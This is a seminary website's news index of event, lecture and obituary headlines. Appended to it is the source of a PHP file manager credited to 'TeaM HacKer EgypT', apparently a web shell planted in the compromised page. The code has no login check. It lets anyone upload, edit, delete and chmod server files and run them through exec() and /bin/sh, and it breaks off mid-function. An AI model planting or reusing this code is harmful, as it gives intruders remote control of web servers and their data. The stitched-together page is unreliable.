Eden Seminary Storyboard

Eden Welcomes Amy Levad as the Speaker for the 30th Annual Schmiechen Lectures on Oct. 4


Islamic Scholar-In-Residence Enriches Interfaith Dialogue at Eden


The Reverend Dr. Luther Smith to Speak at the Bracke Lecture - February 10


Join us for Tools for Leadership: Resources and Results


Spring Convocation: Christian Faith and Our Religious Neighbor


Annual Christmas Concert - December 5


November LIFE at Eden - Faith Facing the Racial Divide


Walker Leadership Institute's Inaugural Event


Eden Welcomed Dr. Robin Jensen as the Speaker for the Schmiechen Lectures October 5


LIFE Comes to Eden in September


Professor Emerita Dr. Peggy Way Dies


New Walker Leadership Institute Bridges Faith and Business


You Are Welcome Here


Let's Play Ball!


St. Louis Metro CROP Hunger Walk - September 25 at Eden


A Journey to Serve Through Faith


Applying Faith to Every Aspect of Life


Summer OASIS Classes Meeting at Eden Seminary


Eden Seminary Revises Curriculum for Fall 2016


Eden's Program Leaves Indelible Impression on Students


Letting Her Light Shine Through Her Love of Reading


Eden Appreciates Contextual Education Supervisors


Webster Arts Fair - June 3-5


Don't Get Burned Was a Win-Win for Everyone


Congratulations to Recipients of 2016 Awards!


The Reverend Carol Shanks to Lead Eden's Contextual Education Program


Eden DMin Student Will Be Moderator of Presbytery of St. Andrew in Mississippi


Richard H. McClure Received Honorary Doctor of Humane Letters from Eden Seminary


All-In Music Project Shares an Evening of Worship, Celebration and Learning - April 29


The Reverend Karen Georgia Thompson Addressed Graduates at Eden's Commencement Service May 13


Eden's Travel Seminars Offer Experiences of the Worldwide Church


Racial Justice Solidarity Delegation from World Council of Churches Visits Eden


The Reverend Starsky Wilson Received Honorary Doctor of Divinity Degree


Lutheran School of Theology Announces Easter Term Offerings 2016


Dr. Tiffany Anderson Received Honorary Doctor of Humane Letters Degree


Festival of Young Women Preachers at Eden April 7


Dr. Jason Purnell Received Reinhold Niebuhr Award


Ann Weems Dies at Age 81


Spring into LIFE - April 8-9


Session on Supporting Families at Life's End to be Offered at Eden - April 26


Dr. Gregory C. Ellison II Spoke at Spring Convocation


March 14 Event Featuring Author Jeanne Bishop's Perspective on the Death Penalty


Eden Seminary Welcomed Dr. Iva E. Carruthers to Campus March 30


Lutheran School of Theology Offers Workshop on February 11


Welcome New Students!


The Reverend Dr. Walter Brueggemann Spoke at Spring Convocation


OASIS Classes Meet at Eden Seminary


Eden Program Fosters Understanding about Christianity and Its Approach to Other Religions


Give Yourself a Mid-Winter Break at the LIFE Retreat - February 19-20, 2016!


Beyond Resistance: An Afternoon With John Dorhauer


Congratulations to the Reverend Starsky Wilson!


Dr. Leah Gunning Francis Spoke at Community Martin Luther King Event


2016 Spring Convocation - Forward from Ferguson: Prophetic and Pastoral Visions


Trinity Institute Offers Conference on Sacred Conversations for Racial Justice


Rahiel Tesfamariam Spoke at the Bracke Lecture on Congregational Leadership - February 12


Eden Faculty Participate in AAR SBL Annual Meeting


The Armin and Shirley Limper Program in Christianity and World Religions - January 15-17 in Coral Gables, Florida


Retired Eden Professor Makes Significant Gift to Support Christian Education


Start the New Year with LIFE - January 15-16, 2016!


Celebrating the Holidays at Eat. Bid. Learn.


Eden Professors Participate in "Scholars in Action" at the Carter Center


Eden Alumna the Reverend Shana Johnson Named as Illinois South UCC Designated Conference Minister


"Walking with Jesus" Links Old and NewTestaments


A Shared Thanksgiving Dinner at Eden


Eden Offers Full-Tuition Scholarship for Master of Divinity Exploratory Year


Eden's Virtual Advent Lectionary Workshops


Eden Welcomes Tammy Craig as Chief Financial Officer


New Elective Course on Inclusivity to be Offered in the Spring Semester


Congratulations to Three Remarkable St. Louisans with Eden Connections


CrockStar November 2015 Was a Big Hit!


Celebrate the Holiday Season at "Comfort and Joy" - December 18


Playing with God


Eat. Bid. Learn. - December 10


Annual Christmas Concert - December 9


Members of Eden Support Staff Enjoy a Saturday Outing


Eden Band Plays MoValoween


Experience the Fall Festival of Praise - November 20


Learn How to Make More with Less at CrockStar - November 18!


Eden Professor Accepts Call as Dean at Christian Theological Seminary


A Covenant Between Friends - A True Story


International Students Worship at Hope UCC


The Reverend Dr. Walter Brueggemann Honored


Gathered Together


Interfaith Partnership Annual Dinner and Celebration - November 5


The Challenge of a Borderless Chapel - Pfautch Lectures


All Saints' Day Worship


The Reverend Dr. Warren Crews Teaches Lutheran School of Theology Course


Bookstore Connects Eden Alums


American Red Cross Blood Drive at Eden Seminary - October 12


Come to LIFE - November 6-7 at Eden!


Minister-in-Residence Working to Open the Conversation


Healing Invisible Wounds: Moral Injury in War and Life


Eden Alumnus the Reverend Dr. Rudolph Raber Dies


Eden Alumnus on Leadership Team for St. Louis ADA Celebration


Eden Celebrated Dr. Adam Ployd's New Book with Book Signing on October 8


President Greenhaw Goes to Washington!


Ferguson and Faith Book Signing - October 7


Autumn Music Series Comes to Eden Seminary


St. Louis Metro CROP Hunger Walk October 11 at Eden


Dr. Jason Purnell Spoke at Schmiechen Lectures October 7


Festival of Psalms - What Our Bones Long to Sing - September 27 at Eden Seminary


Interfaith Concert - Building a Harmonious St. Louis


Historic Uniting Synod Name Badge - Still Uniting


Eden to Host Commissioning Ceremony for the Reverend Frank Krebs


Study Travel Seminars Bring Social Issues to Light


Eden Archivist Scott Holl Explores the History of Evangelical Synod in St. Louis


Start Something! God's Calling You Has Lasting Impact


Eden Says Goodbye to Bookstore Director Hannah Rice Hill


A Call for Change


Eden Students Support Community in First Event for BlackLivesMatter Immersion Course


The Reverend Geoffrey Black Spoke at Opening Convocation


Eden Begins the 2015-16 Academic Year at Opening Convocation - September 8


Eden's Roofing System Being Restored


LIFE Starts the Year with the September 11-12 Retreat


Take Us Out to the Ballgame!


Shantha Alonso Named Executive Director of Creation Justice Ministries


Dr. Massimo Faggioli Spoke at the Aquinas Institute August 30


Eden to Host Preaching Clinic - Proclaiming a Fierce Hope: Strengthening Our Voices in the Movement


BlackLivesMatter Course Offered at Eden in August


Congratulations to General Minister and President - Elect, Rev. Dr. John C. Dorhauer


Dr. Leah Gunning Francis Presents Workshop at General Synod


UCC Recommitting Itself to Being a Just Peace Church


Professor Christopher Grundy Leads Music at Synod


Eden Alumni Introduce Fellow Eden Graduate - the Reverend Dr. John C. Dorhauer at General Synod


Eden Offers Full-Tuition Scholarship for Master of Divinity Exploratory Year


Good Times at General Synod!


Destination Ohio! We're There!


Trucking to Synod!


Dr. Adam Ployd's New Book Offers a Fresh Perspective on Augustine's Theologies of the Trinity and the Church


A Prayer Service for Emmanuel AME Church


Eden Bookstore Takes Road Trip to UCC General Synod


Dr. Leah Gunning Francis is Author of New Book on Ferguson - Published August 4


Eden Hosted Art&Air Fair - June 5-7


Eden Alum Susan Artt Will Serve as Vice Moderator at the UCC's General Synod


Eden Seminary Grieves the Death of the Reverend Dr. Jerry Paul


Fontbonne University Honors Dr. Leah Gunning Francis


Eden Archivist Scott Holl Receives Prestigious Award for His Contributions in the Field of Genealogy


Ben Sanders III to Join Eden Faculty in Fall 2015


The Reverend Douglas Anders Received Honorary Doctor of Divinity Degree


Lutheran School of Theology Course - Preaching John


The Reverend Traci Blackmon Received Honorary Doctor of Divinity Degree


K Wentzien Received Doctor of Humane Letters Degree


The Longest Loss: Alzheimer's Disease and Dementia Educational Session


The Reverend Dr. Luther Smith, Jr. Received Honorary Doctor of Divinity Degree


Dr. Barbara Brown Taylor Addressed Graduates at Eden's Commencement


The Proctor Conference Has a Profound Impact


Dr. Christopher Grundy Spoke at Spring Convocation


Juried Papers Shared at Spring Convocation


Eden Welcomes the Reverend Geoffrey Black as Visiting Professor


Congratulations to Eden Alum Agripa Ndatila!


Ministry and the Prophetic Preacher


2015 Travel Study Seminar to Costa Rica and Nicaragua - A Powerful Experience


Spring into LIFE - April 17-18, 2015!


CrockStar 2015 - A Full Commons for a Fun and Educational Event!


Rev. Dr. Jeremiah Wright, Jr. Spoke at Eden During Spring Convocation


Painting for Peace - Community Creating Connections Toward Hope and Peace


Eden Students Serve at First-Time Shelter - Assisi House


Dr. Norman Wirzba Spoke at Spring Convocation


Dr. Mark Chaves Spoke to a Full House at the Bracke Lecture on Congregational Leadership


Eden Alum Rev. Dr. John Dorhauer Named Candidate for UCC General Minister and President!


Eden is Represented at the Proctor Conference


Spring Convocation April 7-8, 2015 - Food & Faith


Dr. Ellen Davis Spoke at Spring Convocation


Rev. Dr. John Bracke to Facilitate Lutheran School of Theology Workshop - February 12


Expand Your Horizons at LIFE - March 6-7, 2015!


President Barack Obama Visits Head Start in UCC Church


Dean Deborah Krause Speaks at MCU Event


Come to CrockStar 2015!


Dean Krause Led Lectionary Workshop for Clergy


Religious Leaders Urge 2016 Presidential Candidates to Care for the Poor


Engaging in Urban Theology


2015 Travel-Study Seminar Goes to Costa Rica and Nicaragua


Lamentations


St. Louis Religious Leaders Named "People of the Year" Includes many related to Eden Seminary


Hallelujah!


Educating for Hope and Change


Start the New Year with LIFE!


Pray Out at Eden


Eden Volleyball Team Begins 2014-2015 Season


Advent Worship Resources Featuring Materials Provided by Members of Eden Community


Eden Hosts Forum on Ferguson with Methodist Theological Seminary in Ohio


Eden's Annual CHOPPED - A Culinary Delight!


Show-me Marriage - Eden Alumni Perform Weddings Following Historic Ruling in Missouri


Creative Gift Challenge: The Balance of Christmas Giving


Congratulations to Denise Stauffer!


Dr. Leah Gunning Francis Spoke on Racial Profiling and Policy Brutality at Doane College


President Greenhaw Participated in Interfaith Panel - From Klinghoffer to Ferguson and Beyond


Join in the Fun for Eden's Annual CHOPPED Event


Annual Christmas Concert


Rev. Nikotemo Sopepa - Working Toward Unification Through Ecumenical Interaction


Eden Celebrates Legacy of Social Justice


Eden's Professor Clint McCann Presents at IPM General Assembly


Our Whole Lives Training for Facilitators to be Offered at Eden


East African Children's Choir Concert Friday, November 7


Members of the Eden Community Participate in Ferguson October Demonstration


All Saints' Day Worship


New Location for the Food Pantry at Eden


Dr. Jing (Cathy) Zhang Spoke at the Schmiechen Lectures on November 18


Eden Seminary Changes Class Schedule on October 13 to Provide Opportunity for Participation in Ferguson Protest


Explore Your Faith at LIFE - November 14-15!


St. Louis Symphony Trombones Performed at Eden


Interfaith Partnership Annual Dinner and Celebration October 30 - Rev. Dr. David Greenhaw and Leigh Hunt Greenhaw to Be Honored


Dean Deborah Krause is Contributor to the Fortress Commentary on the Bible


Dr. Damayanthi Niles Presented at AANATE Conference


Lutheran School of Theology Offers Michaelmas Fall Term Courses


Free Flu Shots Were Offered at Eden October 10


Dr. Leah Gunning Francis Participated in Mother 2 Mother Forum on September 22


Congratulations to Eden Graduate Seth Agidi!


Festival of Psalms - Singing Justice - September 28 at Eden Seminary


Eden Seminary Welcomes New Director of Admissions - Tiffany Pittman!


St. Louis Metro CROP Hunger Walk Took Place October 12 at Eden


Dr. Leah Gunning Francis - Giving Voice and Empowering


The Journey Begins at the Opening Session of LIFE - September 19-20!


Congratulations to Eden Archivist Scott Holl!


President David Greenhaw Spoke at Interfaith Commemoration in Music on September 7


Celebrate Eden - Friday, September 26!


Christ the King UCC Hosts Community Action Forum


Engaging Our Faith in Protest of the Moral Outrage in Ferguson, MO - A Community Forum with Ruby Sales


Interfaith Leaders Offer Support for the Family of Michael Brown and Call for Change


Eden Alum Provides Online Resource Focused on Aging


Eden Mourns the Loss of Beloved Professor Emeritus - Dr. Lowell Zuck


Role of Spirituality in Well-Being of LGBT Community is Topic of Educational Event


Eden Welcomes New Students to Orientation


Fighting Apiru Playing This Summer


Opening Convocation at Eden Seminary - September 2


New Technology in Eden Seminary Classrooms


Rev. Dr. Michael Kinnamon to Speak at Aquinas Institute of Theology


Rev. Dr. K. Jesurathnam to Visit Eden Seminary


Art and Spirituality with Poet and Priest Spencer Reece


Eden Alum Serves Intentional Community for Young Adults


Bringing Arts and Faith Communities Together


Innovative Program Fostering Leadership in a New Generation of Clergy


Missouri's Student Religious Liberties Act - Does It Serve Religious Liberty?


History Inspires the Present


Eden Receives Sizeable Gift from Former High School Teacher


Eden Theological Seminary 2014 Commencement


Eden Students Attend the Festival of Homiletics


Working Toward Understanding and Change


Summer Courses Offered by Lutheran School of Theology


Eden Bookstore - On the Road Again


Initiative to Address Economic Challenges Facing Future Ministers


Eden Theological Seminary Wins Lawsuit Against City of Webster Groves


Rev. Dr. Damayanthi Niles is Promoted to Full Professor


Eden Hosts Informative Session on International Disability Rights


Eden Hosts Art and Air Fair


Dr. Frank Thomas Addressed Graduates at Eden Commencement


Rev. Dr. David Ruhe Received a Doctor of Divinity Degree


Rev. Dr. Marie M. Fortune Received a Doctor of Divinity Degree


Shalom Award Presented to the Missouri Association for Social Welfare


Rev. Dr. Martha Robertson Retires

The Reverend Dr. Luther Smith to Speak at the Bracke Lecture - February 10

The Reverend Dr. Luther Smith to Speak at the Bracke Lecture - February 10

* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * * ------------------------------------------------------------------------- * While using this script, do NOT navigate with your browser's back and * forward buttons! Always open files in a new browser tab! * ------------------------------------------------------------------------- * * This is Version 0.9, revision 9 * ========================================================================= * * Changes of revision 9 * * added workaround for directory listing, if lstat() is disabled * fixed permisson of uploaded files (thanks to Stephan Duffner) * * Changes of revision 8 * * added Turkish translation * * added Czech translation * * improved charset handling * * Changes of revision 7 * * added Spanish translation * * added Danish translation * * improved rename dialog * * Changes of revision 6 * * added Dutch translation * * Changes of revision 5 * * added language auto select * fixed symlinks in directory listing * removed word-wrap in edit textarea * * Changes of revision 4 * * added French translation * * added Swedish translation * * Changes of revision 3 * * improved Italian translation * * Changes of revision 2 * * got images work in some old browsers * fixed creation of directories * fixed files deletion * improved path handling * added missing word 'not_created' * * improved human readability of file sizes * * added Italian translation * * Changes of revision 1 * * TeaM HacKer EgypT completely rewritten: * - clean XHTML/CSS output * - several files selectable * - support for windows servers * - no more treeview, because * - TeaM HacKer EgypT is a >simple< file manager * - performance problems (too much additional code) * - I don't like: frames, java-script, to reload after every treeview-click * - execution of shell scripts * - introduced revision numbers * /* ------------------------------------------------------------------------- */ /* Your language: * 'en' - English * 'de' - German * 'fr' - French * 'it' - Italian * 'nl' - Dutch * 'se' - Swedish * 'sp' - Spanish * 'dk' - Danish * 'tr' - Turkish * 'cs' - Czech * 'auto' - autoselect */ $lang = 'auto'; /* Charset of output: * possible values are described in the charset table at * http://www.php.net/manual/en/function.htmlentities.php * 'auto' - use the same charset as the words of my language are encoded */ $site_charset = 'auto'; /* Homedir: * For example: './' - the script's directory */ $homedir = './'; /* Size of the edit textarea */ $editcols = 80; $editrows = 25; /* ------------------------------------------- * Optional configuration (remove # to enable) */ /* Permission of created directories: * For example: 0705 would be 'drwx---r-x'. */ # $dirpermission = 0705; /* Permission of created files: * For example: 0604 would be '-rw----r--'. */ # $filepermission = 0604; /* Filenames related to the apache web server: */ $htaccess = '.htaccess'; $htpasswd = '.htpasswd'; /* ------------------------------------------------------------------------- */ if (get_magic_quotes_gpc()) { array_walk($_GET, 'strip'); array_walk($_POST, 'strip'); array_walk($_REQUEST, 'strip'); } if (array_key_exists('image', $_GET)) { header('Content-Type: image/gif'); die(getimage($_GET['image'])); } if (!function_exists('lstat')) { function lstat ($filename) { return stat($filename); } } $delim = DIRECTORY_SEPARATOR; if (function_exists('php_uname')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; } else { $win = ($delim == '\\') ? true : false; } if (!empty($_SERVER['PATH_TRANSLATED'])) { $scriptdir = dirname($_SERVER['PATH_TRANSLATED']); } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) { $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']); } elseif (function_exists('getcwd')) { $scriptdir = getcwd(); } else { $scriptdir = '.'; } $homedir = relative2absolute($homedir, $scriptdir); $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir; if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) { $dir = relative2absolute($dir, $_POST['olddir']); } $directory = simplify_path(addslash($dir)); $files = array(); $action = ''; if (!empty($_POST['submit_all'])) { $action = $_POST['action_all']; for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') { $files[] = $_POST["file$i"]; } } } elseif (!empty($_REQUEST['action'])) { $action = $_REQUEST['action']; $files[] = relative2absolute($_REQUEST['file'], $directory); } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) { $files[] = $_FILES['upload']; $action = 'upload'; } elseif (array_key_exists('num', $_POST)) { for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("submit$i", $_POST)) break; } if ($i < $_POST['num']) { $action = $_POST["action$i"]; $files[] = $_POST["file$i"]; } } if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) { $files[] = relative2absolute($_POST['create_name'], $directory); switch ($_POST['create_type']) { case 'directory': $action = 'create_directory'; break; case 'file': $action = 'create_file'; } } if (sizeof($files) == 0) $action = ''; else $file = reset($files); if ($lang == 'auto') { if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } else { $lang = 'en'; } } $words = getwords($lang); if ($site_charset == 'auto') { $site_charset = $word_charset; } $cols = ($win) ? 4 : 7; if (!isset($dirpermission)) { $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755; } if (!isset($filepermission)) { $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644; } if (!empty($_SERVER['SCRIPT_NAME'])) { $self = html(basename($_SERVER['SCRIPT_NAME'])); } elseif (!empty($_SERVER['PHP_SELF'])) { $self = html(basename($_SERVER['PHP_SELF'])); } else { $self = ''; } if (!empty($_SERVER['SERVER_SOFTWARE'])) { if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') { $apache = true; } else { $apache = false; } } else { $apache = true; } switch ($action) { case 'view': if (is_script($file)) { /* highlight_file is a mess! */ ob_start(); highlight_file($file); $src = ereg_replace('', '', ob_get_contents()); $src = str_replace(array('', "\ ", "\ "), array('', '', ''), $src); ob_end_clean(); html_header(); echo '

' . html($file) . '


';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\
";

		echo '
' . $src . '
'; html_footer(); } else { header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: filename=' . basename($file)); readfile($file); } break; case 'download': header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: attachment; filename=' . basename($file) . ';'); header('Content-Length: ' . filesize($file)); readfile($file); break; case 'upload': $dest = relative2absolute($file['name'], $directory); if (@file_exists($dest)) { listing_page(error('already_exists', $dest)); } elseif (@move_uploaded_file($file['tmp_name'], $dest)) { @chmod($dest, $filepermission); listing_page(notice('uploaded', $file['name'])); } else { listing_page(error('not_uploaded', $file['name'])); } break; case 'create_directory': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$dirpermission); if (@mkdir($file, $dirpermission)) { listing_page(notice('created', $file)); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'create_file': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$filepermission); if (@touch($file)) { edit($file); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'execute': chdir(dirname($file)); $output = array(); $retval = 0; exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval); $error = ($retval == 0) ? false : true; if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>'); if ($error) { listing_page(error('not_executed', $file, implode("\ ", $output))); } else { listing_page(notice('executed', $file, implode("\ ", $output))); } break; case 'delete': if (!empty($_POST['no'])) { listing_page(); } elseif (!empty($_POST['yes'])) { $failure = array(); $success = array(); foreach ($files as $file) { if (del($file)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_deleted', implode("\ ", $failure)); } if (sizeof($success) > 0) { $message .= notice('deleted', implode("\ ", $success)); } listing_page($message); } else { html_header(); echo '
'; request_dump(); echo "\t" . word('really_delete') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\ "; } echo '


'; html_footer(); } break; case 'rename': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (!@file_exists($dest) && @rename($file, $dest)) { listing_page(notice('renamed', $file, $dest)); } else { listing_page(error('not_renamed', $file, $dest)); } } else { $name = basename($file); html_header(); echo '
' . word('rename_file') . '

' . html($file) . '

' . substr($file, 0, strlen($file) - strlen($name)) . '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'move': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = $dest . $filename; if (!@file_exists($d) && @rename($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_moved', implode("\ ", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('moved', implode("\ ", $success), $dest); } listing_page($message); } else { html_header(); echo '
'; request_dump(); echo "\t" . word('move_files') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\ "; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'copy': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (@is_dir($dest)) { $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = addslash($dest) . $filename; if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_copied', implode("\ ", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('copied', implode("\ ", $success), $dest); } listing_page($message); } else { if (!@file_exists($dest) && @copy($file, $dest)) { listing_page(notice('copied', $file, $dest)); } else { listing_page(error('not_copied', $file, $dest)); } } } else { html_header(); echo '
'; request_dump(); echo "\ " . word('copy_files') . '

'; foreach ($files as $file) { echo "\t" . html($file) . "
\ "; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'create_symlink': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (substr($dest, -1, 1) == $delim) $dest .= basename($file); if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file); if (!@file_exists($dest) && @symlink($file, $dest)) { listing_page(notice('symlinked', $file, $dest)); } else { listing_page(error('not_symlinked', $file, $dest)); } } else { html_header(); echo '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'edit': if (!empty($_POST['save'])) { $content = str_replace("\ \ ", "\ ", $_POST['content']); if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) { listing_page(notice('saved', $file)); } else { listing_page(error('not_saved', $file)); } } else { if (@is_readable($file) && @is_writable($file)) { edit($file); } else { listing_page(error('not_edited', $file)); } } break; case 'permission': if (!empty($_POST['set'])) { $mode = 0; if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100; if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010; if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001; if (@chmod($file, $mode)) { listing_page(notice('permission_set', $file, decoct($mode))); } else { listing_page(error('permission_not_set', $file, decoct($mode))); } } else { html_header(); $mode = fileperms($file); echo '

' . phrase('permission_for', $file) . '


' . word('owner') . ' ' . word('group') . ' ' . word('other') . '
' . word('read') . ':
' . word('write') . ':
' . word('execute') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; default: listing_page(); } /* ------------------------------------------------------------------------- */ function getlist ($directory) { global $delim, $win; if ($d = @opendir($directory)) { while (($filename = @readdir($d)) !== false) { $path = $directory . $filename; if ($stat = @lstat($path)) { $file = array( 'filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path) ); if ($file['is_dir']) { $file['is_executable'] = @file_exists($path . $delim . '.'); } else { if (!$win) { $file['is_executable'] = @is_executable($path); } else { $file['is_executable'] = true; } } if ($file['is_link']) $file['target'] = @readlink($path); if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner'])); if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group'])); $files[] = $file; } } return $files; } else { return false; } } function sortlist (&$list, $key, $reverse) { quicksort($list, 0, sizeof($list) - 1, $key); if ($reverse) $list = array_reverse($list); } function quicksort (&$array, $first, $last, $key) { if ($first < $last) { $cmp = $array[floor(($first + $last) / 2)][$key]; $l = $first; $r = $last; while ($l <= $r) { while ($array[$l][$key] < $cmp) $l++; while ($array[$r][$key] > $cmp) $r--; if ($l <= $r) { $tmp = $array[$l]; $array[$l] = $array[$r]; $array[$r] = $tmp; $l++; $r--; } } quicksort($array, $first, $r, $key); quicksort($array, $l, $last, $key); } } function permission_octal2string ($mode) { if (($mode & 0xC000) === 0xC000) { $type = 's'; } elseif (($mode & 0xA000) === 0xA000) { $type = 'l'; } elseif (($mode & 0x8000) === 0x8000) { $type = '-'; } elseif (($mode & 0x6000) === 0x6000) { $type = 'b'; } elseif (($mode & 0x4000) === 0x4000) { $type = 'd'; } elseif (($mode & 0x2000) === 0x2000) { $type = 'c'; } elseif (($mode & 0x1000) === 0x1000) { $type = 'p'; } else { $type = '?'; } $owner = ($mode & 00400) ? 'r' : '-'; $owner .= ($mode & 00200) ? 'w' : '-'; if ($mode & 0x800) { $owner .= ($mode & 00100) ? 's' : 'S'; } else { $owner .= ($mode & 00100) ? 'x' : '-'; } $group = ($mode & 00040) ? 'r' : '-'; $group .= ($mode & 00020) ? 'w' : '-'; if ($mode & 0x400) { $group .= ($mode & 00010) ? 's' : 'S'; } else { $group .= ($mode & 00010) ? 'x' : '-'; } $other = ($mode & 00004) ? 'r' : '-'; $other .= ($mode & 00002) ? 'w' : '-'; if ($mode & 0x200) { $other .= ($mode & 00001) ? 't' : 'T'; } else { $other .= ($mode & 00001) ? 'x' : '-'; } return $type . $owner . $group . $other; } function is_script ($filename) { return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename); } function getmimetype ($filename) { static $mimes = array( '\.jpg$|\.jpeg$' => 'image/jpeg', '\.gif$' => 'image/gif', '\.png$' => 'image/png', '\.html$|\.html$' => 'text/html', '\.txt$|\.asc$' => 'text/plain', '\.xml$|\.xsl$' => 'application/xml', '\.pdf$' => 'application/pdf' ); foreach ($mimes as $regex => $mime) { if (eregi($regex, $filename)) return $mime; } // return 'application/octet-stream'; return 'text/plain'; } function del ($file) { global $delim; if (!@is_link($file) && !file_exists($file)) return false; if (!@is_link($file) && @is_dir($file)) { if ($dir = @opendir($file)) { $error = false; while (($f = readdir($dir)) !== false) { if ($f != '.' && $f != '..' && !del($file . $delim . $f)) { $error = true; } } closedir($dir); if (!$error) return @rmdir($file); return !$error; } else { return false; } } else { return @unlink($file); } } function addslash ($directory) { global $delim; if (substr($directory, -1, 1) != $delim) { return $directory . $delim; } else { return $directory; } } function relative2absolute ($string, $directory) { if (path_is_relative($string)) { return simplify_path(addslash($directory) . $string); } else { return simplify_path($string); } } function path_is_relative ($path) { global $win; if ($win) { return (substr($path, 1, 1) != ':'); } else { return (substr($path, 0, 1) != '/'); } } function absolute2relative ($directory, $target) { global $delim; $path = ''; while ($directory != $target) { if ($directory == substr($target, 0, strlen($directory))) { $path .= substr($target, strlen($directory)); break; } else { $path .= '..' . $delim; $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1); } } if ($path == '') $path = '.'; return $path; } function simplify_path ($path) { global $delim; if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') { $path = realpath($path); if (@is_dir($path)) { return addslash($path); } else { return $path; } } $pattern = $delim . '.' . $delim; if (@is_dir($path)) { $path = addslash($path); } while (strpos($path, $pattern) !== false) { $path = str_replace($pattern, $delim, $path); } $e = addslashes($delim); $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e; while (ereg($regex, $path)) { $path = ereg_replace($regex, $delim, $path); } return $path; } function human_filesize ($filesize) { $suffices = 'kMGTPE'; $n = 0; while ($filesize >= 1000) { $filesize /= 1024; $n++; } $filesize = round($filesize, 3 - strpos($filesize, '.')); if (strpos($filesize, '.') !== false) { while (in_array(substr($filesize, -1, 1), array('0', '.'))) { $filesize = substr($filesize, 0, strlen($filesize) - 1); } } $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1)); return $filesize . " {$suffix}B"; } function strip (&$str) { $str = stripslashes($str); } /* ------------------------------------------------------------------------- */ function listing_page ($message = null) { global $self, $directory, $sort, 